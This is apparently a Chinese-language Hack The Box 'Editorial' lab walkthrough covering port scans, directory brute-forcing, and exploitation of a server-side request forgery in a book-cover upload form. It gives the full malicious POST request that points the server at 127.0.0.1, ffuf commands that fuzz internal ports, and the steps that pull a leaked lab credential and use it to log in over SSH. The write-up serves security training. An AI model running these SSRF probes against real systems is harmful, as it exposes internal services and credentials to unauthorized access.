HTB Editorial
端口扫描
sudo nmap --min-rate 10000 -p- 10.129.11.12 -oA nmapscan/ports
结果
Starting Nmap 7.98 ( https://nmap.org ) at 2026-07-24 02:05 -0400
Nmap scan report for 10.129.11.12
Host is up (7.9s latency).
Not shown: 63654 filtered tcp ports (no-response), 1879 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 26.82 seconds
详细端口扫描
sudo nmap -sT -sC -sV -O 10.129.11.12 -p22,80 -oA nmapscan/detail
结果
Starting Nmap 7.98 ( https://nmap.org ) at 2026-07-24 02:09 -0400
Nmap scan report for 10.129.11.12
Host is up (0.68s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 0d:ed:b2:9c:e2:53:fb:d4:c8:c1:19:6e:75:80:d8:64 (ECDSA)
|_ 256 0f:b9:a7:51:0e:00:d5:7b:5b:7c:5f:bf:2b:ed:53:a0 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://editorial.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 63.48 seconds
UDP 端口扫描
sudo nmap -sU --top-ports 20 10.129.11.12 -oA nmapscan/UDP
结果
Starting Nmap 7.98 ( https://nmap.org ) at 2026-07-24 02:10 -0400
Nmap scan report for 10.129.11.12
Host is up (0.92s latency).
PORT STATE SERVICE
53/udp closed domain
67/udp closed dhcps
68/udp open|filtered dhcpc
69/udp closed tftp
123/udp closed ntp
135/udp closed msrpc
137/udp closed netbios-ns
138/udp closed netbios-dgm
139/udp closed netbios-ssn
161/udp closed snmp
162/udp closed snmptrap
445/udp closed microsoft-ds
500/udp closed isakmp
514/udp closed syslog
520/udp closed route
631/udp closed ipp
1434/udp closed ms-sql-m
1900/udp closed upnp
4500/udp closed nat-t-ike
49152/udp closed unknown
Nmap done: 1 IP address (1 host up) scanned in 26.25 seconds
漏洞脚本扫描
sudo nmap --script=vuln 10.129.11.12 -p22,80 -oA nmapscan/vuln
结果
Starting Nmap 7.98 ( https://nmap.org ) at 2026-07-24 02:12 -0400
Stats: 0:00:46 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 97.04% done; ETC: 02:12 (0:00:01 remaining)
Stats: 0:07:30 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.51% done; ETC: 02:19 (0:00:02 remaining)
Nmap scan report for 10.129.11.12
Host is up (0.73s latency).
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
Nmap done: 1 IP address (1 host up) scanned in 732.95 seconds
上面这些扫描结果都没有暴露出明显的漏洞。
Editorial. Htb 站点渗透
查看站点的基本信息
whatweb -a 3 http://editorial.htb
结果
http://editorial.htb [200 OK] Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.129.11.12], Title[Editorial Tiempo Arriba], X-UA-Compatible[IE=edge], nginx[1.18.0]
查看社论图片情况。
wget http://editorial.htb/static/images/pexels-min-an-694740.jpg
--2026-07-24 02:33:23-- http://editorial.htb/static/images/pexels-min-an-694740.jpg
Resolving editorial.htb (editorial.htb)... 10.129.11.12
Connecting to editorial.htb (editorial.htb)|10.129.11.12|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1270626 (1.2M) [image/jpeg]
Saving to: ‘pexels-min-an-694740.jpg’
pexels-min-an-694740.jpg 100%[=======================================================================================================>] 1.21M 6.24KB/s in 3m 10s
2026-07-24 02:36:35 (6.52 KB/s) - ‘pexels-min-an-694740.jpg’ saved [1270626/1270626]
file pexels-min-an-694740.jpg
pexels-min-an-694740.jpg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, progressive, precision 8, 4256x2554, components 3
ls -liah pexels-min-an-694740.jpg
527140 -rw-rw-r-- 1 kali kali 1.3M Dec 27 2022 pexels-min-an-694740.jpg
图片的属性看看，应该是不包含什么隐写的信息的。
源码没有有价值的注释、脚本信息，但三个图标是引用外部的，处理的比较奇怪。
grep -B 2 external -A 2 index.html
<ul class="d-flex list-unstyled mt-auto">
<li class="me-auto">
<img src="https://external-content.duckduckgo.com/iu/?
u=http%3A%2F%2Fprodimage.imagesbn.
com%2Fpimages%2F9780345455482_p0_v1_s1200x630.jpg&f=1&nofb=1&ipt=421e340b74e907779
7821355c1b9aa95480b5dc478717b83e834414d610c2723&ipo=images" alt="Bootstrap"
class="rounded-circle border border-white" width="32" height="32">
</li>
<li class="d-flex align-items-center me-3">
--
<ul class="d-flex list-unstyled mt-auto">
<li class="me-auto">
<img src="https://external-content.duckduckgo.com/iu/?
u=http%3A%2F%2F4.bp.blogspot.com%2F-hO_DsqEt214%2FToR01-Ame_I%2FAAAAAAAAAI4%2FUso8Uzxetw%
2Fs1600%2FStephen_King_Misery_cover.jpg&f=1&nofb=1&ipt=058b4c99ba83221461b
fe9c6f7e6e6c5d5d040dac469ea86b881fdeb804d75b7&ipo=images" alt="Bootstrap"
class="rounded-circle border border-white" width="32" height="32">
</li>
<li class="d-flex align-items-center me-3">
--
<ul class="d-flex list-unstyled mt-auto">
<li class="me-auto">
<img src="https://external-content.duckduckgo.com/iu/?
u=http%3A%2F%2F1.bp.blogspot.com%2Fe2G635Csr2A%
2FTtpOIDD3VwI%2FAAAAAAAAAw0%2FeGgQCgIq-AE%2Fs1600%2Fportada-ensayo-sobreceguera.
jpg&f=1&nofb=1&ipt=82a89f68ebc361c4ab3002f3d40b0f7a478f27a98c19edc3280b94fb5f
68343a&ipo=images" alt="Bootstrap" class="rounded-circle border border-white"
width="32" height="32">
</li>
<li class="d-flex align-items-center me-3">
进一步观察
grep -o 'https://external-content.duckduckgo.com/iu/?u=[^"]*' index.html | tee
urls.txt
https://external-content.duckduckgo.com/iu/?u=http%3A%2F%2Fprodimage.imagesbn.
com%2Fpimages%2F9780345455482_p0_v1_s1200x630.jpg&f=1&nofb=1&ipt=421e340b74e907779
7821355c1b9aa95480b5dc478717b83e834414d610c2723&ipo=images
https://external-content.duckduckgo.com/iu/?u=http%3A%2F%2F4.bp.blogspot.com%2FhO_
DsqEt214%2FToR01-Ame_I%2FAAAAAAAAAI4%2FUso8Uzxetw%
2Fs1600%2FStephen_King_Misery_cover.jpg&f=1&nofb=1&ipt=058b4c99ba83221461b
fe9c6f7e6e6c5d5d040dac469ea86b881fdeb804d75b7&ipo=images
https://external-content.duckduckgo.com/iu/?u=http%3A%2F%2F1.bp.blogspot.com%2Fe2G635Csr2A%
2FTtpOIDD3VwI%2FAAAAAAAAAw0%2FeGgQCgIq-AE%2Fs1600%2Fportada-ensayo-sobreceguera.
jpg&f=1&nofb=1&ipt=82a89f68ebc361c4ab3002f3d40b0f7a478f27a98c19edc3280b94fb5f
68343a&ipo=images
grep -o 'https://external-content.duckduckgo.com/iu/?u=[^"]*' index.html | tee
urls.txt | xargs -I {} hURL -u {}
Original :: https://external-content.duckduckgo.com/iu/?
u=http%3A%2F%2Fprodimage.imagesbn.
com%2Fpimages%2F9780345455482_p0_v1_s1200x630.jpg&f=1&nofb=1&ipt=421e340b74e907779
7821355c1b9aa95480b5dc478717b83e834414d610c2723&ipo=images
URL DEcoded :: https://external-content.duckduckgo.com/iu/?u=http://prodimage.imagesbn.
com/pimages/9780345455482_p0_v1_s1200x630.jpg&f=1&nofb=1&ipt=421e340b74e9077797821
355c1b9aa95480b5dc478717b83e834414d610c2723&ipo=images
Original :: https://external-content.duckduckgo.com/iu/?
u=http%3A%2F%2F4.bp.blogspot.com%2F-hO_DsqEt214%2FToR01-Ame_I%2FAAAAAAAAAI4%2F-
Uso8Uzxetw%2Fs1600%2FStephen_King_Misery_cover.jpg&f=1&nofb=1&ipt=058b4c99ba83221461b
fe9c6f7e6e6c5d5d040dac469ea86b881fdeb804d75b7&ipo=images
URL DEcoded :: https://external-content.duckduckgo.com/iu/?
u=http://4.bp.blogspot.com/-hO_DsqEt214/ToR01-Ame_I/AAAAAAAAAI4/-
Uso8Uzxetw/s1600/Stephen_King_Misery_cover.jpg&f=1&nofb=1&ipt=058b4c99ba83221461bfe9c
6f7e6e6c5d5d040dac469ea86b881fdeb804d75b7&ipo=images
Original :: https://external-content.duckduckgo.com/iu/?
u=http%3A%2F%2F1.bp.blogspot.com%2Fe2G635Csr2A%
2FTtpOIDD3VwI%2FAAAAAAAAAw0%2FeGgQCgIq-AE%2Fs1600%2Fportada-ensayo-sobreceguera.
jpg&f=1&nofb=1&ipt=82a89f68ebc361c4ab3002f3d40b0f7a478f27a98c19edc3280b94fb5f
68343a&ipo=images
URL DEcoded :: https://external-content.duckduckgo.com/iu/?
u=http://1.bp.blogspot.com/-e2G635Csr2A/TtpOIDD3VwI/AAAAAAAAAw0/eGgQCgIq-
AE/s1600/portada-ensayo-sobreceguera.
jpg&f=1&nofb=1&ipt=82a89f68ebc361c4ab3002f3d40b0f7a478f27a98c19edc3280b94fb5f
68343a&ipo=images
随便看一张图片会发现没有什么特别的，可能就是单纯图片引用。
菜单的第二项能够提交书稿的页面：
有邮箱
将域名添加进 hosts 里面。访问看一下响应头
没有主机头定向，不是实际的 web 子域名。
再看 about 页面到那张图片
curl -I editorial.htb
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Fri, 24 Jul 2026 07:03:36 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 8577
Connection: keep-alive
curl -I tiempoarriba.htb
HTTP/1.1 301 Moved Permanently
Server: nginx/1.18.0 (Ubuntu)
Date: Fri, 24 Jul 2026 07:05:24 GMT
Content-Type: text/html
Content-Length: 178
Connection: keep-alive
Location: http://editorial.htb
┌──(kali㉿kali)-[~/Desktop/HTB Editorial]
└─$ wget http://editorial.htb/static/images/pexels-janko-ferlic-590493.jpg
--2026-07-24 03:06:27-- http://editorial.htb/static/images/pexels-janko-ferlic-590493.jpg
Resolving editorial.htb (editorial.htb)... 10.129.11.12, 10.129.11.12, 10.129.11.12, ...
Connecting to editorial.htb (editorial.htb)|10.129.11.12|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2715072 (2.6M) [image/jpeg]
Saving to: ‘pexels-janko-ferlic-590493.jpg’
pexels-janko-ferlic-590493.jpg 100%[=======================================================================================================>] 2.59M 27.9KB/s in 5m 51s
2026-07-24 03:12:20 (7.55 KB/s) - ‘pexels-janko-ferlic-590493.jpg’ saved [2715072/2715072]
┌──(kali㉿kali)-[~/Desktop/HTB Editorial]
└─$ ls -liah pexels-janko-ferlic-590493.jpg
527259 -rw-rw-r-- 1 kali kali 2.6M Dec 27 2022 pexels-janko-ferlic-590493.jpg
┌──(kali㉿kali)-[~/Desktop/HTB Editorial]
└─$ file pexels-janko-ferlic-590493.jpg
pexels-janko-ferlic-590493.jpg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, progressive, precision 8, 5013x4634, components 3
┌──(kali㉿kali)-[~/Desktop/HTB Editorial]
└─$ exiftool pexels-janko-ferlic-590493.jpg
ExifTool Version Number : 13.50
File Name : pexels-janko-ferlic-590493.jpg
Directory : .
File Size : 2.7 MB
File Modification Date/Time : 2022:12:27 23:42:38-05:00
File Access Date/Time : 2026:07:24 03:18:17-04:00
File Inode Change Date/Time : 2026:07:24 03:12:20-04:00
File Permissions : -rw-rw-r--
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
JFIF Version : 1.01
Resolution Unit : inches
X Resolution : 72
Y Resolution : 72
Profile CMM Type : Linotronic
Profile Version : 2.1.0
Profile Class : Display Device Profile
Color Space Data : RGB
Profile Connection Space : XYZ
Profile Date Time : 1998:02:09 06:49:00
Profile File Signature : acsp
Primary Platform : Microsoft Corporation
CMM Flags : Not Embedded, Independent
Device Manufacturer : Hewlett-Packard
Device Model : sRGB
Device Attributes : Reflective, Glossy, Positive, Color
Rendering Intent : Perceptual
Connection Space Illuminant : 0.9642 1 0.82491
Profile Creator : Hewlett-Packard
Profile ID : 0
Profile Copyright : Copyright (c) 1998 Hewlett-Packard Company
Profile Description : sRGB IEC61966-2.1
Media White Point : 0.95045 1 1.08905
Media Black Point : 0 0 0
Red Matrix Column : 0.43607 0.22249 0.01392
Green Matrix Column : 0.38515 0.71687 0.09708
Blue Matrix Column : 0.14307 0.06061 0.7141
Device Mfg Desc : IEC http://www.iec.ch
Device Model Desc : IEC 61966-2.1 Default RGB colour space - sRGB
Viewing Cond Desc : Reference Viewing Condition in IEC61966-2.1
Viewing Cond Illuminant : 19.6445 20.3718 16.8089
Viewing Cond Surround : 3.92889 4.07439 3.36179
Viewing Cond Illuminant Type : D50
Luminance : 76.03647 80 87.12462
Measurement Observer : CIE 1931
Measurement Backing : 0 0 0
Measurement Geometry : Unknown
Measurement Flare : 0.999%
Measurement Illuminant : D65
Technology : Cathode Ray Tube Display
Red Tone Reproduction Curve : (Binary data 2060 bytes, use -b option to extract)
Green Tone Reproduction Curve : (Binary data 2060 bytes, use -b option to extract)
Blue Tone Reproduction Curve : (Binary data 2060 bytes, use -b option to extract)
Image Width : 5013
Image Height : 4634
Encoding Process : Progressive DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)
Image Size : 5013x4634
Megapixels : 23.2
没有泄露任何有价值信息。
爆破主域名目录
sudo gobuster dir -u http://editorial.htb -w /usr/share/seclists/Discovery/Web-
Content/raft-medium-directories.txt -t 100
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://editorial.htb
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/raft-mediumdirectories.
txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/upload (Status: 200) [Size: 7140]
/about (Status: 200) [Size: 2939]
Progress: 30000 / 30001 (100.00%)
===============================================================
Finished
===============================================================
可以用不同工具做简单验证
gospider -s http://editorial.htb/ -d 3
Publish 页面，基于源码查看、站点功能推断，xss 没必要尝试了，因为很难有利用场景。文件上传漏洞还是可以看一看的。但其实如果按先后顺序，还有一个容易有漏洞的交互可以看一看。就是页面中的 url 提交图标。
关键的地方在上面的第一个框，它可以粘贴一个 url。我们随便找张图的 url 看能不能传上去。
建立 web 服务器：
ls -liah test.png
528677 -rw------- 1 kali kali 17K Jul 24 03:24 test.png
sudo goshs -i 10.10.17.101 -p 80
上传测试
看到图片被处理了。
这是正常的功能，但如果开发人员没有做过滤或隔离，这种场景下很容易出现一种往往很致命的漏洞，即服务器端请求伪造漏洞，经常也直接用它英语表达的首字母缩写，即 SSRF
网络存在问题使用文档中的问题。
看到已经拦截到请求体中的图片链接，然后将此请求发到 repeater 中：
发送请求后是一个路径，应该就是我们在页面中上传的图片。我们可以从之前上传的图片邮件上拾取类似地址： http://editorial.htb/static/uploads/48c70af7-f8ae-4776-aa1f-440b74e7fae8
现在我们要看开发者是否过滤和做必要的隔离，就是看是否有 SSRF 漏洞，典型的做法就是，看程序访问服务器自身的资源返回什么结果，一般用 127.0.0.1 尝试。好的，试一下：
访问了一下，是下图
在repeater中进一步尝试，请求 http://localhost:80 时，大约 20秒才返回结果；而请求
http://localhost:1 时，返回速度则很快，大约 1秒左右。这种现象表明：80端口上确实有服务运行，但没有页面响应，导致请求等待超时；而1端口则没有服务开放，所以迅速返回连接失败的结果。这种延迟差异暗示了应用程序可能易受 SSRF攻击，因为延迟往往表明服务在尝试建立连接。因此，有必要进一步探查服务器的开放端口，看服务到底在哪个端口上运行，使用端口爆破来确认哪些端口上有服务在运行。将repeater中的请求存成文件，端口是FUZZ字段，同时生成端口序列，这里可以尝试谨慎一些，虽然可能是自己吓自己，但至少你要会怎么才算是步步小心、时时在意。我们可以分扫描top100端口的谨慎版，后面也操作扫描65535个端口的全版本扫描，把不同的扫描都操作出来
Starting Nmap 7.98 ( https://nmap.org ) at 2026-07-24 03:46 -0400
Warning: Hostname localhost resolves to 2 IPs. Using 127.0.0.1.
Initiating SYN Stealth Scan at 03:46
Scanning localhost (127.0.0.1) [100 ports]
Completed SYN Stealth Scan at 03:46, 0.05s elapsed (100 total ports)
Nmap scan report for localhost (127.0.0.1)
Host is up, received localhost-response (0.000017s latency).
Other addresses for localhost (not scanned): ::1
Scanned at 2026-07-24 03:46:28 EDT for 0s
PORT STATE SERVICE REASON
7/tcp closed echo reset ttl 64
9/tcp closed discard reset ttl 64
13/tcp closed daytime reset ttl 64
21/tcp closed ftp reset ttl 64
22/tcp closed ssh reset ttl 64
23/tcp closed telnet reset ttl 64
25/tcp closed smtp reset ttl 64
26/tcp closed rsftp reset ttl 64
37/tcp closed time reset ttl 64
53/tcp closed domain reset ttl 64
79/tcp closed finger reset ttl 64
80/tcp closed http reset ttl 64
81/tcp closed hosts2-ns reset ttl 64
88/tcp closed kerberos-sec reset ttl 64
106/tcp closed pop3pw reset ttl 64
110/tcp closed pop3 reset ttl 64
111/tcp closed rpcbind reset ttl 64
113/tcp closed ident reset ttl 64
119/tcp closed nntp reset ttl 64
135/tcp closed msrpc reset ttl 64
139/tcp closed netbios-ssn reset ttl 64
143/tcp closed imap reset ttl 64
144/tcp closed news reset ttl 64
179/tcp closed bgp reset ttl 64
199/tcp closed smux reset ttl 64
389/tcp closed ldap reset ttl 64
427/tcp closed svrloc reset ttl 64
443/tcp closed https reset ttl 64
444/tcp closed snpp reset ttl 64
445/tcp closed microsoft-ds reset ttl 64
465/tcp closed smtps reset ttl 64
513/tcp closed login reset ttl 64
514/tcp closed shell reset ttl 64
515/tcp closed printer reset ttl 64
543/tcp closed klogin reset ttl 64
544/tcp closed kshell reset ttl 64
548/tcp closed afp reset ttl 64
554/tcp closed rtsp reset ttl 64
587/tcp closed submission reset ttl 64
631/tcp closed ipp reset ttl 64
646/tcp closed ldp reset ttl 64
873/tcp closed rsync reset ttl 64
990/tcp closed ftps reset ttl 64
993/tcp closed imaps reset ttl 64
995/tcp closed pop3s reset ttl 64
1025/tcp closed NFS-or-IIS reset ttl 64
1026/tcp closed LSA-or-nterm reset ttl 64
1027/tcp closed IIS reset ttl 64
1028/tcp closed unknown reset ttl 64
1029/tcp closed ms-lsa reset ttl 64
1110/tcp closed nfsd-status reset ttl 64
1433/tcp closed ms-sql-s reset ttl 64
1720/tcp closed h323q931 reset ttl 64
1723/tcp closed pptp reset ttl 64
1755/tcp closed wms reset ttl 64
1900/tcp closed upnp reset ttl 64
2000/tcp closed cisco-sccp reset ttl 64
2001/tcp closed dc reset ttl 64
2049/tcp closed nfs reset ttl 64
2121/tcp closed ccproxy-ftp reset ttl 64
2717/tcp closed pn-requester reset ttl 64
3000/tcp closed ppp reset ttl 64
3128/tcp closed squid-http reset ttl 64
3306/tcp closed mysql reset ttl 64
3389/tcp closed ms-wbt-server reset ttl 64
3986/tcp closed mapper-ws_ethd reset ttl 64
4899/tcp closed radmin reset ttl 64
5000/tcp closed upnp reset ttl 64
5009/tcp closed airport-admin reset ttl 64
5051/tcp closed ida-agent reset ttl 64
5060/tcp closed sip reset ttl 64
5101/tcp closed admdog reset ttl 64
5190/tcp closed aol reset ttl 64
5357/tcp closed wsdapi reset ttl 64
5432/tcp closed postgresql reset ttl 64
5631/tcp closed pcanywheredata reset ttl 64
5666/tcp closed nrpe reset ttl 64
5800/tcp closed vnc-http reset ttl 64
5900/tcp closed vnc reset ttl 64
6000/tcp closed X11 reset ttl 64
6001/tcp closed X11:1 reset ttl 64
6646/tcp closed unknown reset ttl 64
7070/tcp closed realserver reset ttl 64
8000/tcp closed http-alt reset ttl 64
8008/tcp closed http reset ttl 64
8009/tcp closed ajp13 reset ttl 64
8080/tcp closed http-proxy reset ttl 64
8081/tcp closed blackice-icecap reset ttl 64
8443/tcp closed https-alt reset ttl 64
8888/tcp closed sun-answerbook reset ttl 64
9100/tcp closed jetdirect reset ttl 64
9999/tcp closed abyss reset ttl 64
10000/tcp closed snet-sensor-mgmt reset ttl 64
32768/tcp closed filenet-tms reset ttl 64
49152/tcp closed unknown reset ttl 64
49153/tcp closed unknown reset ttl 64
49154/tcp closed unknown reset ttl 64
49155/tcp closed unknown reset ttl 64
49156/tcp closed unknown reset ttl 64
49157/tcp closed unknown reset ttl 64
提取端口
cat top100ports.nmap | grep tcp | awk -F'/' '{print $1}' | tee top100ports-plain
7
9
13
21
22
23
25
26
37
53
79
80
81
88
106
110
111
113
119
135
139
143
144
179
199
389
427
443
444
445
465
513
514
515
543
544
548
554
587
631
646
873
990
993
995
1025
1026
1027
1028
1029
1110
1433
1720
1723
1755
1900
2000
2001
2049
2121
2717
3000
3128
3306
3389
3986
4899
5000
5009
5051
5060
5101
5190
5357
5432
5631
5666
5800
5900
6000
6001
6646
7070
8000
8008
8009
8080
8081
8443
8888
9100
9999
10000
32768
49152
49153
49154
49155
49156
49157
在 Burp Suite 中，讲请求发送到 Intruder，讲端口设定为爆破字段，狙击模式就可以，因为就一个字段，然后
Payload 中导入 top 100 ports-plain 端口字典。
即如上配置，然后启动攻击，完成后，看到 80 端口的响应时长明显异常，5000 端口的响应大小一场。
测试 65535 端口的开放情况
seq 1 65535 > ports
cat request
POST /upload-cover HTTP/1.1
Host: editorial.htb
Content-Length: 302
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/129.0.6668.71 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBtyecsn5H2SVDFgY
Accept: */*
Origin: http://editorial.htb
Referer: http://editorial.htb/upload
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
------WebKitFormBoundaryBtyecsn5H2SVDFgY
Content-Disposition: form-data; name="bookurl"
http://127.0.0.1:FUZZ
------WebKitFormBoundaryBtyecsn5H2SVDFgY
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream
------WebKitFormBoundaryBtyecsn5H2SVDFgY--
执行：
sudo ffuf -request request -request-proto http -w ports
sudo ffuf -request request -request-proto http -w ports
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : POST
:: URL : http://editorial.htb/upload-cover
:: Wordlist : FUZZ: /home/kali/RedteamNotes/HTB/Editorial/ports
:: Header : Connection: keep-alive
:: Header : Host: editorial.htb
:: Header : Accept-Language: en-US,en;q=0.9
:: Header : User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
:: Header : Accept-Encoding: gzip, deflate, br
:: Header : Content-Type: multipart/form-data; boundary=----
WebKitFormBoundaryBtyecsn5H2SVDFgY
:: Header : Accept: */*
:: Header : Origin: http://editorial.htb
:: Header : Referer: http://editorial.htb/upload
:: Data : ------WebKitFormBoundaryBtyecsn5H2SVDFgY
Content-Disposition: form-data; name="bookurl"
http://127.0.0.1:FUZZ
------WebKitFormBoundaryBtyecsn5H2SVDFgY
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream
------WebKitFormBoundaryBtyecsn5H2SVDFgY--
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
14 [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 120ms]
6 [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 120ms]
28 [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 119ms]
18 [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 119ms]
9 [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 120ms]
1 [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 121ms]
82 [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 105ms]
84 [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 104ms]
83 [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 107ms]
[WARN] Caught keyboard interrupt (Ctrl-C)
seq 65535 | ffuf -w -:FUZZ -request request -request-proto http -fs 61
seq 65535 | ffuf -w -:FUZZ -request request -request-proto http -fs 61
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : POST
:: URL : http://editorial.htb/upload-cover
:: Wordlist : FUZZ: -
:: Header : Host: editorial.htb
:: Header : User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
:: Header : Accept: */*
:: Header : Referer: http://editorial.htb/upload
:: Header : Accept-Language: en-US,en;q=0.9
:: Header : Content-Type: multipart/form-data; boundary=----
WebKitFormBoundaryBtyecsn5H2SVDFgY
:: Header : Origin: http://editorial.htb
:: Header : Accept-Encoding: gzip, deflate, br
:: Header : Connection: keep-alive
:: Data : ------WebKitFormBoundaryBtyecsn5H2SVDFgY
Content-Disposition: form-data; name="bookurl"
http://127.0.0.1:FUZZ
------WebKitFormBoundaryBtyecsn5H2SVDFgY
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream
------WebKitFormBoundaryBtyecsn5H2SVDFgY--
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 61
________________________________________________
5000 [Status: 200, Size: 51, Words: 1, Lines: 1, Duration: 3345ms]
:: Progress: [65535/65535] :: Job [1/1] :: 478 req/sec :: Duration: [0:06:35] ::
Errors: 1 ::
同样的结果，都显示，5000 端口是特定的，很可能有服务，测试一下它：
访问地址，发现有 json 数据
sudo curl -s http://editorial.htb/static/uploads/047cbbcf-26a3-4d0d-ab8ba4ede1ea566c
{"messages":[{"promotions":{"description":"Retrieve a list of all the promotions in
our library.","endpoint":"/api/latest/metadata/messages/promos","methods":"GET"}},
{"coupons":{"description":"Retrieve the list of coupons to use in our
library.","endpoint":"/api/latest/metadata/messages/coupons","methods":"GET"}},
{"new_authors":{"description":"Retrieve the welcome message sended to our new
用 jq 做一下格式化解析
sudo curl -s http://editorial.htb/static/uploads/047cbbcf-26a3-4d0d-ab8ba4ede1ea566c | jq .
{
"messages": [
{
"promotions": {
"description": "Retrieve a list of all the promotions in our library.",
"endpoint": "/api/latest/metadata/messages/promos",
"methods": "GET"
}
},
{
"coupons": {
"description": "Retrieve the list of coupons to use in our library.",
"endpoint": "/api/latest/metadata/messages/coupons",
"methods": "GET"
}
},
{
"new_authors": {
"description": "Retrieve the welcome message sended to our new authors.",
"endpoint": "/api/latest/metadata/messages/authors",
"methods": "GET"
}
},
{
"platform_use": {
"description": "Retrieve examples of how to use the platform.",
"endpoint": "/api/latest/metadata/messages/how_to_use_platform",
"methods": "GET"
}
}
],
"version": [
{
"changelog": {
"description": "Retrieve a list of all the versions and updates of the api.",
"endpoint": "/api/latest/metadata/changelog",
"methods": "GET"
}
},
{
"latest": {
"description": "Retrieve the last version of api.",
"endpoint": "/api/latest/metadata",
"methods": "GET"
}
}
]
}
看到 json 数据暴露了若干端点，逐一追踪，不多
访问响应：
sudo curl -s http://editorial.htb/static/uploads/83dfb4fd-bba2-4f14-8006-
6c28f0cf78bc
{"template_mail_message":"Welcome to the team! We are thrilled to have you on board
and can't wait to see the incredible content you'll bring to the table.\n\nYour login
credentials for our internal forum and authors site are:\nUsername: dev\nPassword:
dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for
security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas
- we're always here to support you.\n\nBest regards, Editorial Tiempo Arriba Team."}
也是 json 数据，继续格式化解析，其实不解析也能识别到敏感信息了：
sudo curl -s http://editorial.htb/static/uploads/83dfb4fd-bba2-4f14-8006-6c28f0cf78bc | jq -r '.template_mail_message'
结果
Welcome to the team! We are thrilled to have you on board and can't wait to see the
incredible content you'll bring to the table.
Your login credentials for our internal forum and authors site are:
Username: dev
Password: dev080217_devAPI!@
Please be sure to change your password as soon as possible for security purposes.
Don't hesitate to reach out if you have any questions or ideas - we're always here to
support you.
Best regards, Editorial Tiempo Arriba Team.
获得凭据
dev:dev080217_devAPI!@
Nmap 扫描结果显示，22 是开放的
sudo ssh dev@editorial.htb
The authenticity of host 'editorial.htb (10.129.22.239)' can't be established.
ED25519 key fingerprint is SHA256:YR+ibhVYSWNLe4xyiPA0g45F4p1pNAcQ7+xupfIR70Q.
This key is not known by any other names.
